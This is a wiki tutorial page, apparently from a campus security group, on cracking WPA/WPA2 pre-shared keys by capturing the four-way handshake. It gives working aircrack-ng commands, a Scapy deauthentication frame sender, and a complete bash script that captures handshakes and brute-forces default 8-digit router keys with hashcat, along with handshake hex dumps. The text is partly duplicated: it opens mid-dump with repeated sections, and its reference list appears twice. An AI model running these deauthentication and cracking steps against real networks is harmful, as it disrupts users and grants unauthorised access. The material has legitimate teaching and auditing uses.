0x0050: aaaa 0300 0000 888e 0103 005f 0203 0a00 ..........._....
0x0060: 0000 0000 0000 0000 0200 0000 0000 0000 ................
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0009 4d26 1f94 47b2 ..........M&..G.
0x00b0: 8fcb 0e44 a9b7 3cea 4500 002c f10f 7c ...D..<.E..,..|</nowiki>

</div>
</div>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: Deauther are often mistakenly described as a jammer, even though that is not the case.</div>

=== Aircrack-ng ===
<syntaxhighlight lang="bash">aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon</syntaxhighlight>

=== Scapy ===

Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using <code>aircrack-ng</code> and <code>scapy</code>. Alternatively use <code>scapy</code> to manually execute a deauthentication attack, as shown below.

<syntaxhighlight lang="python"># Configuration
station = "ff:ff:ff:ff:ff:ff"
bssid = "00:00:00:00:00:00"
interface = "wlan0mon"

# Craft and send 802.11 frame
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <code>$STA</code> may be <code>ff:ff:ff:ff:ff:ff</code>. MAC’s must be lowercase!</div>

=== D-Stike Deauther ===
<p style="text-align: justify">D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. </p>
* https://github.com/spacehuhn/esp8266_deauther

=== Other tools ===
<p style="text-align: justify">JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.</p>
* https://github.com/unixpickle/JamWiFi
* https://github.com/0x0XDev/JamWiFi

= Used Hardware =

* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)
* DSTIKE Deauther Watch V1

= Courses =

* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019

= References =

* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)

[[Category:Documentation]]

</div>

WPA/WPA2 PSK deauthentication attack

2024-12-18T17:35:53Z

RSchuller: /* Put your interface in monitor mode */

<div style="max-width: 970px">

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="font-weight: normal;line-height:1.6;">ⓘ Table of Contents</div>
<div class="mw-collapsible-content">
__TOC__
</div>
</div>

= Summary =

<p style="text-align: justify">How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.</p>

= TL;DR =

<p style="text-align: justify">For those using Kali Linux (>2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, <code>[https://github.com/derv82/wifite2 wifite]</code> is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.</p>

<syntaxhighlight lang="bash"># Generic: One command to rule them all
sudo wifite

# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture
sudo wifite --wpa --no-wps --no-pmkid</syntaxhighlight>

= Requirements =
== Mandatory ==
=== GNU/Linux ===
- Install aircrack-ng suite:
* Debian based distributions: <code>sudo apt install aircrack-ng</code>
* Arch based distributions: <code>sudo pacman -S aicrack-ng</code>

=== macOS ===
* Optional: Install <i>aircrack-ng</i> suite: <code>brew install aircrack-ng</code>
* Install <i>tcpdump</i>: <code>brew install tcpdump</code>
* Install <i>wireshark</i> to use <i>mergecap</i>: <code>brew install wireshark</code>
* Enable 'hidden' airport feature: <code>sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport</code>

== Optional ==
=== Hashcat ===
* Clone GIT repository: <code>git clone https://github.com/hashcat/hashcat.git</code>
* Build: <code>cd ./hashcat && make && make install</code>
* Link: <code>sudo ln -s ./hashcat /usr/local/bin/hashcat</code>

=== Scapy ===
* Install: <code>pip install scapy</code>

= Background =
== Problem==
<p style="text-align: justify">Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:</p>
# Sniff a beacon management frame containing all information about the network
# Sniff a four-way hanshake containing dynamic payload encryption keys
# Crack the PSK offline, using data dumps acquired in the previous steps
<p style="height: 2px"></p>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Intercepting a four-way handshake requires at least one authenticated device on the target network. </div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.</div>

==Solution==
<p style="text-align: justify">The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.</p>

= Procedure =

== With aircrack-ng (on GNU/Linux) ==

<table class="wikitable" style="background-color: white; margin-left: 30px;">
<tr style="background-color: grey; font-weight: bold; border-color: black">
<td style="border-color: black">Application</td>
<td style="border-color: black">Description</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">aircrack-ng</td>
<td style="background-color: white;border-color: black">802.11 WEP and WPA/WPA2-PSK key cracking program.</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airbase-ng</td>
<td style="background-color: white;border-color: black">Aimed at attacking clients as opposed to the AP itself.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecap-ng</td>
<td style="background-color: white;border-color: black">Decrypt WEP/WPA/WPA2 capture files.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecloak-ng</td>
<td style="background-color: white;border-color: black">Remove WEP CloakingTM from a packet capture file.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdrop-ng</td>
<td style="background-color: white;border-color: black">A rule based wireless deauthication tool.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">aireplay-ng</td>
<td style="background-color: white;border-color: black">Inject and replay wireless frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airgraph-ng</td>
<td style="background-color: white;border-color: black">Graph wireless networks.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airmon-ng</td>
<td style="background-color: white;border-color: black">Enable and disable monitor mode on wireless interfaces.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airodump-ng</td>
<td style="background-color: white;border-color: black">Capture raw 802.11 frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airolib-ng</td>
<td style="background-color: white;border-color: black">Precompute WPA/WPA2 passphrases.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airserv-ng</td>
<td style="background-color: white;border-color: black">Wireless card TCP/IP server to use wit multiple applications.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airtun-ng</td>
<td style="background-color: white;border-color: black">Virtual tunnel interface creator.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">packetforge-ng</td>
<td style="background-color: white;border-color: black">Create encrypted packets that can be used for injection.</td>
</tr>
</table>

=== Put your interface in monitor mode ===

* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.

sudo airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 7260 (rev 83)

* First we need to set interface in monitor mode `iw wlan0 del` and execute the command :

sudo airmon-ng
Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y
PHY Interface Driver Chipset
phy0 wlan0mon iwlwifi Intel Corporation Wireless 7260 (rev 83)

* Kill all processes which use physical device. Info: If you're connected via Ethernet and you are using NetworkManager your Ethernet connection still works.

sudo airmon-ng check kill
Killing these processes:
PID Name
895 wpa_supplicant

* Start in monitor mode

sudo airmon-ng start wlan0mon 9

=== Capture Beacon ===

* using wireshark or airodump-ng

airodump-ng wlan0mon

* You will need:
** BSSID (MAC address of access point): <bssid>
** Access point channel: <channel>
** MAC address of a victim, wireless client using WPA2

=== Capture handshake ===

* Get handshake or connected station

airodump-ng -c <channel> --bssid <bssid> -w psk wlan0mon

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

=== Crack with aircrack-ng ===

* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password

aircrack-ng -w <passwordlist path> -b <bssd> psk*.cap

=== Reset network configuration ===
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Do not forget to turn off monitor mode and restart network manager</div>

* Stop monitor mode

airmon-ng stop wlan0mon

* Restart network manager for internet access

service network-manager restart

== Without aircrack-ng (on macOS) ==

In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using <nowiki>tcpdump</nowiki> instead of <nowiki>airodump-ng</nowiki>, as well as the use of <nowiki>hashcat</nowiki> (or John the ripper) instead of <nowiki>aircrack-ng</nowiki> can also be ported to Linux and has advantages over the previously listed version. Only the use of <nowiki>airport</nowiki> works exclusively on macOS.

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>crack_WPA2_PSK.sh</b></div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify"><b>Warning</b>: In this script, <nowiki>hashcat</nowiki> is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. <br>You may need to change the <nowiki>hashcat</nowiki> command at the end of the script to fit your usecase.</div>
<syntaxhighlight lang="bash">#!/bin/bash
if [[ $UID != 0 ]]; then
echo "Please run this script with sudo:"
echo "sudo $0 $*"
exit 1
fi

hr() {
local start=$'\e(0' end=$'\e(B' line='qqqqqqqqqqqqqqqq'
local cols=${COLUMNS:-$(tput cols)}
while ((${#line} < cols)); do line+="$line"; done
printf '%s%s%s\n' "$start" "${line:0:cols}" "$end"
}

banner() {
hr; printf " \033[0;31m${1}\033[0m\n"; hr
}

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Perform a wireless broadcast scan"
echo ' # airport -s'
airport -s

banner "Enter dynamic configuration"
echo -n " CHANNEL="
read CHANNEL
echo -n " BSSID="
read BSSID
echo -n " INTERFACE="
read INTERFACE

banner "Disassociate from any network"
echo ' # airport -z'
airport -z

banner "Set arbitrary channel on the card"
echo ' # airport -c$CHANNEL'
airport -c$CHANNEL
echo ' # airport -c'
airport -c

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Capture beacon frame"
echo ' # tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap'
tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap

banner "Capture four-way handshake"
echo ' # tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap'
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap

# banner "Merge beacon frame and four-way handshake"
# Note: mergecap is part of wireshark
echo ' # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap'
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap

banner "Convert .cap file to .hccapx format to be used with hashcat"
# Note: cap2hccapx is part of hashcat-utils
echo ' # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx'
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx
banner "Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)"
# 00000000 - 99999999
echo ' # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d'
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d

banner "Clean up"
echo ' # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx'
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx</syntaxhighlight>
</div>
</div>

<syntaxhighlight lang="bash">airport -h
Supported arguments:
-c[<arg>] --channel=[<arg>] Set arbitrary channel on the card
-z --disassociate Disassociate from any network
-I --getinfo Print current wireless status, e.g. signal info, BSSID, port type etc.
-s[<arg>] --scan=[<arg>] Perform a wireless broadcast scan.
Will perform a directed scan if the optional <arg> is provided
-x --xml Print info as XML
-P --psk Create PSK from specified pass phrase and SSID.
The following additional arguments must be specified with this command:
--password=<arg> Specify a WPA password
--ssid=<arg> Specify SSID when creating a PSK
-h --help Show this help</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airmon-ng</i>, <i>airodump-ng</i> and <i>aireplay-ng</i> don't work on mac.</div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airport</i> works exclusively on mac.</div>

=== Capture Beacon ===
<syntaxhighlight lang="bash"># Scan
sudo airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72 11 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57 1 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66 36 Y de WPA2 (PSK/AES/AES)</syntaxhighlight>

=== Capture Handshake ===
==== The Easy way ====
<syntaxhighlight lang="bash"># Sniff - Ctrl-C to stop capturing
sudo airport $INTERFACE sniff $CHANNEL</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: It saves the .cap capture file to /tmp and displays the path plus filename.</div>
<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

==== The Good way ====
<p style="text-align: justify">By using <i>airmon-ng</i> or <i>airport</i> a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with <i>tcpdump</i>.</p>

<syntaxhighlight lang="bash"># Disassociate from any network: (-z --disassociate)
sudo airport -z
# Set arbitrary channel on the card: (-c[<arg>] --channel=[<arg>])
sudo airport -c$CHANNEL

# Capture a beacon frame from the AP
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE< -w beacon.cap
# Wait for the WPA handshake
sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i $INTERFACE -w handshake.cap

# Merge the two files
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap</syntaxhighlight>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.</div>

=== Crack PSK ===
The .cap file obtained in the previous steps can only be cracked directly with <i>aircrack-ng</i>. But this can be done more effectively using <i>hashcat</i>.

<syntaxhighlight lang="bash"># Convert .cap to .hcapx file (Part of hashcat-utils)
cap2hccapx capture.cap capture.hccapx</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/</div>

<syntaxhighlight lang="bash"># Crack using a simple dictionary attack:
hashcat -m 2500 capture.hccapx wordlist.txt</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.</div>

== Deauthentication attack ==

<p style="text-align: justify">Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px">
<div style="line-height:1.6;">ⓘ <b>Example</b>: Four-Way Handshake (4WHS)</div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: A four-way handshake can be analysed using Wireshark or <code>tcpdump</code>, filtering for <code>eapol</code> messages or better filtering for <code>ether proto 0x888e and ether host $BSSID</code></div>

<syntaxhighlight lang="bash"> # link-type IEEE802_11_RADIO (802.11 plus radiotap header)
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i en0 -vvv -e -A -XX</syntaxhighlight>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_1.png|4WHS (Message 1 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 8165 aa01 0000 0000 1002 7609 8004 d2a5 .e........v.....
0x0020: 0000 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 938d 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 0000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0200 8a00 ..........._....
0x0060: 1000 0000 0000 0000 01ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0: 0000 0000 0000 0000 0000 0041 e6a6 5d ...........A..]</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=530px>
image:4WH_2.png|4WHS (Message 2 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 1a76 aa01 0000 0000 1002 7609 8004 eca5 .v........v.....
0x0020: 0001 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 4355 fdb7 8801 3a01 98da c46e 00fc ..CU....:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 0000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 0075 0201 0a00 ...........u....
0x0060: 0000 0000 0000 0000 01bc 67eb 5bfb 4355 ..........g.[.CU
0x0070: f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8 ......`.a...tQ..
0x0080: 841c 7d17 dde7 0c47 3300 0000 0000 0000 ..}....G3.......
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0051 17b2 89fc 6428 .........Q....d(
0x00b0: 2564 ab92 3571 a67f af00 1630 1401 0000 %d..5q.....0....
0x00c0: 0fac 0401 0000 0fac 0401 0000 0fac 0200 ................
0x00d0: 0010 afc4 e7 .....</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_3.png|4WHS (Message 3 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 6f80 aa01 0000 0000 1002 7609 8004 d2a5 o.........v.....
0x0020: 0013 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 1000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 0097 0213 ca00 ................
0x0060: 1000 0000 0000 0000 02ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0100 0000 0000 ................
0x00a0: 0000 0000 0000 0000 00e4 ef65 1d4f f0c1 ...........e.O..
0x00b0: 62be d858 a5ed dab9 bf00 38de c04c 2c9d b..X......8..L,.
0x00c0: 9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4 ...s...'Q.......
0x00d0: 8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6 .[..s:..l..R....
0x00e0: 4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3 Jz/....)....U.s.
0x00f0: 43f9 a8a8 bc98 d2 C......</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_4.png|4WHS (Message 4 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: cc8d aa01 0000 0000 1002 7609 8004 eca5 ..........v.....
0x0020: 0003 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 0000 938d 8801 3a01 98da c46e 00fc ........:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 1000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0203 0a00 ..........._....
0x0060: 0000 0000 0000 0000 0200 0000 0000 0000 ................
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0009 4d26 1f94 47b2 ..........M&..G.
0x00b0: 8fcb 0e44 a9b7 3cea 4500 002c f10f 7c ...D..<.E..,..|</nowiki>

</div>
</div>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: Deauther are often mistakenly described as a jammer, even though that is not the case.</div>

=== Aircrack-ng ===
<syntaxhighlight lang="bash">aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon</syntaxhighlight>

=== Scapy ===

Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using <code>aircrack-ng</code> and <code>scapy</code>. Alternatively use <code>scapy</code> to manually execute a deauthentication attack, as shown below.

<syntaxhighlight lang="python"># Configuration
station = "ff:ff:ff:ff:ff:ff"
bssid = "00:00:00:00:00:00"
interface = "wlan0mon"

# Craft and send 802.11 frame
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <code>$STA</code> may be <code>ff:ff:ff:ff:ff:ff</code>. MAC’s must be lowercase!</div>

=== D-Stike Deauther ===
<p style="text-align: justify">D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. </p>
* https://github.com/spacehuhn/esp8266_deauther

=== Other tools ===
<p style="text-align: justify">JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.</p>
* https://github.com/unixpickle/JamWiFi
* https://github.com/0x0XDev/JamWiFi

= Used Hardware =

* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)
* DSTIKE Deauther Watch V1

= Courses =

* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019

= References =

* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)
